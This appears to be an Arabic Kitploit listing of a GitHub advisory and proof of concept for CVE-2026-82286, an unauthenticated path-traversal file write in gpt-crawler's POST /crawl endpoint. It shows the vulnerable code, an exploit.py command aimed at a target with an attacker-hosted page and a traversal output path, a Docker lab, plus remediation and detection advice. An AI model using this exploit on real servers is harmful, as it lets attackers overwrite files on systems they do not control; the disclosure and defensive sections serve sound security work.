Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-82286-gpt-crawler-Arbitrary-File-Write — CVE-2026-82286 — gpt-crawler <=1.5.1 كتابة ملفات تعسفية غير مصادق عليها عبر outputFileName (POST /crawl). PoC + مختبر Docker مكتفٍ ذاتيًا. CVSS 8.6، CWE-22. | Kitploit
أدوات/GitHubGitHub/biitts/cve-2026-82286-gpt-crawler-arbitrary-file-write
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubbiitts/cve-2026-82286-gpt-crawler-arbitrary-file-write

CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 كتابة ملفات تعسفية غير مصادق عليها عبر outputFileName (POST /crawl). PoC + مختبر Docker مكتفٍ ذاتيًا. CVSS 8.6، CWE-22.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-82286 — gpt-crawler كتابة ملفات تعسفية بدون مصادقة

إثبات مفهوم لـ كتابة ملفات تعسفية بدون مصادقة في BuilderIO/gpt-crawler (≈22k ★) عبر معامل outputFileName في نقطة النهاية POST /crawl.

CVECVE-2026-82286
المنتجgpt-crawler (BuilderIO)
المتأثر<= 1.5.1 (أحدث إصدار؛ رأس الفرع الافتراضي متأثر أيضًا)
التصنيفاجتياز المسار / كتابة ملفات تعسفية (CWE-22, CWE-73)
CVSS 3.18.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (عالٍ)
المصادقةلا شيء (بدون مصادقة)
الشرط المسبقتشغيل وضع خادم API (npm run start:server)
الحالةمؤكدة من البداية إلى النهاية (غير مصححة حتى 2026-08-29)

السبب الجذري

يعرض خادم API (src/server.ts) نقطة POST /crawl بدون أي مصادقة. يتم تحليل نص JSON مباشرة إلى Config الخاص بالزاحف؛ يتم التحقق من outputFileName فقط كـ z.string() — لا يوجد أي قيد على المسار:

root@kitploit:~
// src/config.ts
outputFileName: z.string(),

في src/core.ts، تقوم write() ببناء مسار الإخراج مباشرة من تلك السلسلة التي يتحكم فيها المهاجم وتستدعي fs.writeFile() عليها:

root@kitploit:~
// src/core.ts  (write)
const nextFileName = (): string =>
  `${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));

لذلك، يمكن لمهاجم عن بُعد بدون مصادقة التحكم في المسار الكامل لملف مكتوب خارج منطقة الإخراج المقصودة storage/ — عبر مسار مطلق (/tmp/x, /home/<user>/x) أو اجتياز ../. محتوى الملف هو نتيجة الزحف [{title,url,html}]، التي تأتي حقولها من صفحة يوجهها المهاجم إلى الزاحف (اضبط url على خادم تتحكم فيه)، لذا فإن المحتوى متأثر بالمهاجم.

القيد الوحيد هو اللاحقة الإجبارية -<N>.json (ينتهي الاسم دائمًا بـ .json) و غلاف محتوى مصفوفة JSON — ولهذا تم تصنيفها ككتابة ملفات تعسفية (I:H)، وليس RCE نظيفة.

الاستغلال

root@kitploit:~
python3 exploit.py \
  -t http://TARGET:3000 \
  -u http://ATTACKER:8081/index.html \   # صفحة يصل محتواها إلى الملف المكتوب
  -o /home/myuser/PWNED                    # -> يكتب /home/myuser/PWNED-1.json

تعكس نقطة النهاية محتوى الملف المكتوب في استجابة HTTP. الدليل التجريبي هو ظهور الملف في المسار الذي يختاره المهاجم على نظام الملفات الهدف (انظر EVIDENCE.txt).

إعادة الإنتاج

root@kitploit:~
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json     # <- مكتوب خارج storage/، بدون مصادقة

التنظيف: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.

التأثير

يمكن لمهاجم شبكة بدون مصادقة إنشاء أو الكتابة فوق ملفات في مسارات تعسفية (وفقًا لصلاحيات مستخدم العملية واللاحقة -<N>.json) بمحتوى متأثر جزئيًا بالمهاجم. اعتمادًا على النشر، يتيح ذلك العبث بملفات الإعداد/البيانات، وإتلاف حالة التطبيق (السلامة/التوفر)، وعلى الأهداف التي تستهلك لاحقًا ملف *.json مكتوبًا، يمكن ربط ذلك بمزيد من الهجمات.

ملاحظة حول السطح المتأثر

يمكن الوصول إلى نقطة الضعف فقط في وضع خادم API (src/server.ts، الذي يُبدأ عبر npm run start:server / نشر containerapp)، وليس وضع CLI الافتراضي. يرتبط الخادم بـ API_HOST (الافتراضي localhost)؛ النشرات الحقيقية التي تعرض API تضبطه على 0.0.0.0 (كما تفعل صورة containerapp)، مما يجعل نقطة النهاية قابلة للوصول عن بُعد.

المعالجة

  • قم بحل outputFileName مقابل دليل أساسي ثابت وارفض النتيجة إذا هربت منه (path.resolve(base, name) + فحص البادئة)؛ أزل .. والمسارات المطلقة.
  • أضف مصادقة/تفويض إلى POST /crawl.
  • تعامل مع اسم ملف إخراج الزحف كقيمة يتحكم فيها الخادم، وليس يقدمها العميل.

الاكتشاف

ابحث عن نصوص POST /crawl التي يحتوي outputFileName فيها على / أو \ أو ..، وعن ملفات *-1.json التي تظهر خارج دليل storage/ الخاص بالزاحف.

الاعتمادات

البحث وإثبات المفهوم: Caio Fabrício (BiiTts).

تنزيل الأداة